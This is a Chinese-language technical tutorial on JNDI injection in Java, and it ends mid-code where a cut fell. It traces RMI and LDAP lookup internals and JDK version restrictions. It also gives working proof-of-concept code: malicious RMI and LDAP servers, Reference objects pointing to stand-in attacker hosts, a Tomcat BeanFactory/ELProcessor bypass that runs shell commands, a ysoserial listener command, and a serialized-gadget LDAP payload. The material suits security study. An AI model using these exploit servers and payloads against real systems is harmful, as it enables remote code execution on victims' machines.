JNDI 注入#
0x01 什么是 JNDI#
RMI && LDAP#
目录是一种分布式数据库,目录服务是由目录数据库和一套访问协议组成的系统。LDAP 全称是轻量级目录访问协议,它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在 TCP/IP 协议栈之上,基于 C/S 架构。除了 RMI 服务之外,JNDI 也可以与 LDAP 目录服务进行交互,Java 对象在 LDAP 目录中也有多种存储形式:
- Java 序列化
- JNDI Reference
- Marshalled 对象
- Remote Location (已弃用)
LDAP 可以为存储的 Java 对象指定多种属性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
JNDI 原理#
JNDI - Java 命名和目录接口,JNDI 提供统一的客户端 API,通过不同的服务供应接口 (SPI) 的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互、如图:
命名服务 (Naming Service)
命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI 就是典型的命名服务
- 命名服务是将名称与值相关联的实体,也称为 "绑定 (binding)"。
- 它提供了一种基于名称查找对象的工具,该名称称为 "查找 (lookup)" 或 "search" 操作。
目录服务 (Directory Service)
LDAP 是典型的目录服务
- 允许存储和查找 "目录对象" 的特殊类型的命名服务。
- 目录对象不同于一般对象,因为它可以将属性与对象相关联。
- 因此,目录服务提供了对对象属性进行操作的扩展功能。
命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。
简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。如下图:
在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。
一个简单的 JNDI 例子:
package jndi_test;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
package jndi_test;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^";
}
}
package jndi_test;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception {
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
// 本地开启 1099 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
// JNDI 获取 RMI 上的方法对象并进行调用
IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
System.out.println(rHello.sayHello("RickGray"));
}
}
JNDI 获取并调用了远程方法 say.Hello
这里对 JNDI 服务进行了初始化,在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等)。这里的例子是指定了上下文环境为 RMI。
流程:
这里使用 JNDI 获取远程 sayHello () 函数并传入 "RickGray" 参数进行调用时,真正执行该函数是在远程服务端,执行完成后会将结果序列化返回给应用端。
RMI 中动态加载字节码#
如果远程获取 RMI 服务上的对象为 Reference 类(引用对象类型的抽象基类)或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
Reference 中几个比较关键的属性:
- className - 远程加载时所使用的类名
- classFactory - 加载的 class 中需要实例化类的名称
- classFactoryLocation - 提供 classes 数据的地址,可以是 file/ftp/http 等协议
例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当有客户端通过 lookup ("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。
这里说明了在获取 RMI 远程对象时,可以动态地加载外部代码进行对象类型实例化,而 JNDI 同样具有访问 RMI 远程对象的能力,只要其查找参数即 lookup () 函数的参数值可控,那么就有可能促使程序去加载和执行部署在攻击者服务器上的恶意代码。
JNDI 协议动态转换#
上文说到在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等)。
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
而在调用 lookup () 或者 search () 时,可以使用带 URI 动态的转换上下文环境,
例如上面已经通过 Context.PROVIDER_URL 属性设置了当前上下文会访问 RMI 服务,但是还是可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
为什么可以使用绝对路径 URI 去动态地转换上下文环境呢?
InitialContext#lookup:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx () 函数的具体代码实现为:
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
首先判断是否设置了 FactoryBuilder, 但其实这个跟我们设置的 INITIAL_CONTEXT_FACTORY
无关,最终还是返回 null
然后进入到 getURLScheme
截取 ://
之前的内容作为协议名,传入 NamingManager.getURLContext ()
可以看到,如果获取不到 scheme 的话,就会使用原来 env 中指定的 INITIAL_CONTEXT_FACTORY
, 否则就会进行动态转换,得到当前协议对应的 context factory
跟进 getURLObject
ResourceManager.getFactory()
会通过 context classloader
加载对应工厂类
然后调用工厂类的 getObjectInstance 方法来得到对应协议的 context
总的来说最终返回的 context 类型还是取决于 lookup 传入的 uri, 只有当 uri 被省略的时候才会使用 env 中指定的 INITIAL_CONTEXT_FACTORY
即当第一次调用 lookup () 函数的时候,会对上下文环境进行一个初始化,这时候代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换。
JNDI 默认支持动态转换的协议如下
协议名称 | 协议 URL | Context 类 |
---|---|---|
DNS 协议 | dns:// | com.sun.jndi.url.dns.dnsURLContext |
RMI 协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP 协议 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
LDAP 协议 | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory |
IIOP 对象请求代理协议 | iiop:// | com.sun.jndi.url.iiop.iiopURLContext |
IIOP 对象请求代理协议 | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
IIOP 对象请求代理协议 | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
0x02 JNDI 注入#
造成 JNDI 注入的核心有两点
- 动态协议转换
- Reference 类
版本限制#
- JDK 5U45、6U45、7u21、8u121 开始
java.rmi.server.useCodebaseOnly
默认配置为 true, 禁止利用 RMI ClassLoader 加载远程类 (但是 Reference 加载远程类本质上利用的是 URLClassLoader, 所以该参数对于 JNDI 注入无任何影响) - JDK 6u132、7u122、8u113 开始
com.sun.jndi.rmi.object.trustURLCodebase
和com.sun.jndi.rmi.object.trustURLCodebase
默认值为 false, 禁止 RMI 和 CORBA 协议使用远程 codebase 来进行 JNDI 注入 - JDK 11.0.1、8u191、7u201、6u211 开始
com.sun.jndi.ldap.object.trustURLCodebase
默认为 false, 禁止 LDAP 协议使用远程 codebase 来进行 JNDI 注入
通过 RMI 与 LDAP 进行 JNDI 注入 (jdk<8u191)#
通过 RMI 和 LDAP 所进行的 JNDI 注入都是基于 Reference 类的特殊处理。
利用条件#
- 客户端的 lookup () 方法的参数可控
- 服务端在使用 Reference 时,classFactoryLocation 参数可控~
注入流程#
注入流程:
- 攻击者需要构造一个恶意对象,在其构造方法处加入恶意代码。将其上传到服务器中等待远程加载
- 构造一个恶意 RMI 服务器, bind 一个 ReferenceWrapper 对象, ReferenceWrapper 对象是 Reference 对象的封装
- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj ;
- 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/ ;
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj ,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象( Reference ("EvilObject", "EvilObject", "http://evil-cb.com/") );
- Reference 对象中包含了一个远程地址,远程地址中可以加载恶意对象 class
- JNDI 在 lookup 过程中会解析 Reference 对象并远程加载恶意对象触发漏洞
为什么在 RMI 的攻击方法里面没有提到远程加载 Reference 对象这个方法呢,其实就是因为这里的客户端发生了变化,之前是客户端通过 RMI 远程调用服务端的方法,这里是 JNDI 去调用,这也导致了 lookup 方法发生了变化,这才有了 JNDI 协议动态转换,触发动态环境转换。
0x03 RMI#
例子:
Server
package Inject;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://127.0.0.1:8080/";
Reference reference = new Reference("evilObject","evilObject", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("w0s1np", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
package Inject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
当客户端调用 InitialContext ().lookup () 方法时,会从 http://127.0.0.1:8080/evilObject.class 处获取 class 并触发构造方法中的恶意代码。
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
将 evilObject.java 放在另一个目录下(为防止漏洞复现过程中应用端实例化 EvilObject 对象时从 CLASSPATH 当前路径找到编译好的字节代码,而不去远端进行下载的情况发生)
低版本 jdk 分析#
jdk8u_202、65、20 混合调试的,和 rmi 反序列化中一样,使用低版本 jdk 有些调试进不去
分析 lookup 后的流程
首先获取到 RegistryContext@763 对象,里面也包含了存根对象和 rmi 服务地址、端口信息,然后进去 RegistryContext@763 对象的 lookup 方法:
然后调用 RegistryImpl_Stub@764 对象的 lookup, 这部分跟 RMI 协议中 Stub 与 Skeleton 的通信流程相同
即 registry#lookup
获取远程恶意 server 绑定的 Remote 类
然后调用 RegistryContext#decodeObject
方法,调用该 Remote 类 的 getObjectInstance 实例化该类
判断 var1 是否属于 RemoteReference 或其子类的实例对象,然后调用 NamingManager.getObjectInstance()
先通过getObjectFactoryFromReference
得到 factory 实例,然后调用它的getObjectInstance
方法
跟进 getObjectFactoryFromReference,
首先调用 helper.loadClass()
, 方法内部会从上下文中得到 AppClassLoader, 然后尝试从本地加载 factory 类
失败的话就会获取 codebase (也就是 factoryLocation), 再传入 helper 中使用 URLClassLoader 尝试加载
远程加载,FactoryURLClassLoader
是URLClassLoader
的子类
上面Class.forName
第二个参数是true
, 这里加载的时候就能触发static
区域的代码
得到 class 之后,
这里会触发自构方法
的代码(这里会转化成ObjectFactory
类,想不报错,恶意可以继承这个接口)
返回后还会调用getObjectInstance()
次方法
小结#
下面这 3 个代码块都能执行我们的恶意代码
- static 区域
- 自构方法
- getObjectInstance()
高版本 jdk 分析#
先找一下限制是在加在什么地方的
RegistryContext#decodeObject
在NamingManager.getObjectInstance
之前对Reference
对象进行了判断,var8.getFactoryClassLocation()
就是我们设置的远程地址codebase
, trustURLCodebase
默认是false
这里意思就是默认不让我们设置远程地址
了,从而防御我们远程加载恶意类
本地 Factory 类#
既然禁止通过 codebase 远程加载,那就去加载一个能够利用的本地 factory 然后执行 java 代码
但是这种利用方式受限于目标机器本地 classpath 中是否存在对应的 factory
危险函数肯定还是上面小结部分的三处: static
、自构方法
、getObjectInstance()
, 但其实static
和自构方法
不太可能存在利用的地方,所以还是主要去找getObjectInstance()
, 而getObjectInstance()
是ObjectFactory
接口的方法,所以我们去找ObjectFactory的继承类
就行。
这种方式自然也依赖于其他组件依赖,网上最多的就是org.apache.naming.factory.BeanFactory
和 javax.el.ELProcessor
BeanFactory 来自 tomcat 的依赖包,所以适用范围相对来说会广一些
ELProcessor 则是 java 自带的表达式解析引擎
添加下面tomcat
依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
package rmi_bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
InitialContext ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("w0s1np", referenceWrapper);
}
}
正向分析#
首先还是到NamingManager#getObjectInstance
进入BeanFactory#getObjectInstance
,
getObjectInstance 会判断当前的 ref 对象是否是 ResourceRef 的实例,而 ResourceRef 为 Reference 的子类
所以这也就说明了为什么我们需要构造一个 ResourceRef 来加载 factory class, 而不是平时经常用到的 Reference
之后获取 classname, 即 javax.el.ELProcessor
, 并调用 tcl 加载 class
“forceString”
可以给属性强制指定一个setter
方法,这里我们将属性”x” 的 setter 方法设置为 ELProcessor.eval()
方法。
首先从 ref 中获取到forceString
属性,然后以,
为分割为多对 method, 然后通过=
分割每对值,前面的为最后放入map的key
, 后面为要获取的method名字
, 然后从beanclass
获取这个方法(注意这里只会获取 String 为参数的方法,我们看到paramTypes
是不可控的), 然后 put 到forced
这个 Hashmap 中
然后到下面这个 while 中,这里会获取到Type
, 当不为 if 中的值时,会从前面设置的forced
中通过这个Type名字
获取对应的method
, 这里即 x
, 然后通过反射调用这个方法,参数为 x 对应的 value, 所以前后两个值 (x) 要一样
bean 对象就是 beanClass 实例化,然后在 invoke 执行成功javax.el.ELProcessor#eval
利用小结
BeanFactory#getObjectInstance
利用条件
- JDK 或者常用库的类
- 有 public 修饰的无参构造方法 // 显而易见,直接通过 newInstance () 获得对象的
- public 修饰的只有一个 String.class 类型参数的方法,且该方法可以造成漏洞 // 只能调用 String 方法
上面就利用的 el 表达式
逆向挖掘分析#
ReferenceRef 的定位
从RegistryContext#decodeObject
限制逻辑中可以看到,java.naming.Reference
用不了,因为getFactoryClassLocation
过不了。
var8 = (Reference)var3;
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
那么,还有哪些类满足
- 继承 Reference
- getFactoryClassLocation 可以为 null
尝试找继承 Reference 的子类
ReferenceWrapper 的定位
ResourceRef 定位到了,但是不能直接 bind, 因为 java.rmi.registry.Registry 只能 bind Remote 类
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;
在 JNDI-RMI 低版本注入中,可以有下面两种方式进行 bind :
#1. 直接绑定存在恶意代码块的类实例
registry.bind("Exploit", (Remote) new Exploit());
#2. reference
Reference reference = new Reference("Exploit",
"Exploit",
"http://localhost:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
但是ReferenceWrapper(ResourceRef)
可以吗?
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}
ResourceRef 继承 Reference, 可以
BeanFactory 的定位
还是要回到NamingManager#getObjectInstance
ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);
查看ResourceRef
构造函数
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)
所以只需要继承ObjectFactory
, 并且getObjectInstance
存在危险函数
后面上面已经分析过了,BeanFactory 原本的作用是通过反射调用某个 BeanClass 的 setter 来赋值
但是我们能通过 forceString 参数将 setter 强制指定为 ELProcessor 中的 eval, 这样 beanClass.getMethod()
就变成了获取 eval 的 Method 对象
其利用条件为
- 需要有无参构造函数 (因为
Object bean = beanClass.getConstructor().newInstance();
) - 可以调用符合条件的方法,要求方法的参数为 1 个,类型为 String (
可以根据 Reference 的属性查找 setter 方法的别名
) - 还可以调用 set* 方法,要求方法的参数为 1 个,类型为 String
- 以上方法都要求 public
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
反序列化#
利用 register 返回恶意序列化数据反序列化执行 gadget
lookup
中client
会和register
进行数据传输且存在反序列化
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"
然后运行 client 代码即可,所以只要发现new InitialContext().lookup
参数可控,并且服务端存在 gadget, 都可以打反序列化
一直步进 lookup, 可以到RegistryImpl_Stub#lookup
方法
这里会向register
传序列化数据做准备,然后跟进这个invoke
, 然后进入StreamRemoteCall#executeCall
executeCall()
, 这里this.getInputStream();
会接收register
传回的序列化数据(这里我们构造恶意序列化数据即可利用), 然后下方进行反序列化。
0x04 LDAP#
在jdk8u191
之前都能用 ldap 加载远程恶意类
ldap服务端
需要以下依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>
poc:
package LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:4444/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
低版本 jdk 分析#
jdk8u65
首先根据协议不同,获取到不同的上下文,进入NamingManager#getURLContext
进入ResourceManager#getFactory
classSuffix
这个值是根据协议名字
拼接的,然后去实例化
这个类,后面会return factory;
然后会到ldapURLContextFactory.getObjectInstance
,返回一个ldap的上下文(ldapURLContext)
然后后续this.getRootURLContext
这里调用的是ldapURLContext.getRootURLContext
, var3
是LdapCtx
, 也就导致后面和 rmi 的走向不一样了
c_lookup#
一直步进 lookup,
LdapCtx#doSearchOnce
会向ldap发送请求
获取值。
然后服务端会把这个值传给client端
然后从返回的值获取attributes
属性,
我们是设置了javaClassName
的,所以进入Obj#decodeObject
进入最后的 else:
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
会进入decodeReference(var0, var2);
这里会根据输入 url 获取到对应的对象名,然后包装为Reference
, 然后返回到LdapCtx#c_lookup
进入getObjectInstance()
, 其后续逻辑和rmi
是一样的
通过实例化 evilObject 来 rce
小结#
经过上面的分析,我们知道 ldap 和 rmi 在调用远程恶意类上的过程是有区别的
ldap 调用栈
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)
rmi 调用栈
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)
var8.getFactoryClassLocation()
的检测是在rmi
的decodeObject
中,而ldap协议
是调用的其他lookup
并不会调用decodeObject
来实现远程加载,两者协议调用机制是不一样的
所以在8u113~8u190
这段com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
, ldap不受影响
依然可以调用远程恶意类
高版本 jdk 分析#
8u191 以后,在远程加载类时加入了trustURLCodebase
的判断,彻底杜绝了远程加载恶意类了。
反序列化#
在Obj#decodeObject
中,存在一个 if 分支存在deserializeObject()
, 会把ldap服务端
返回的数据进行反序列化
, 如果有能利用的依赖就能打 gadget
所以需要给JAVA_ATTRIBUTES[1]
, 即javaSerializedData
设置值
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
try {
e.addAttribute("javaSerializedData", CC5.getpayload());
} catch (Exception exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
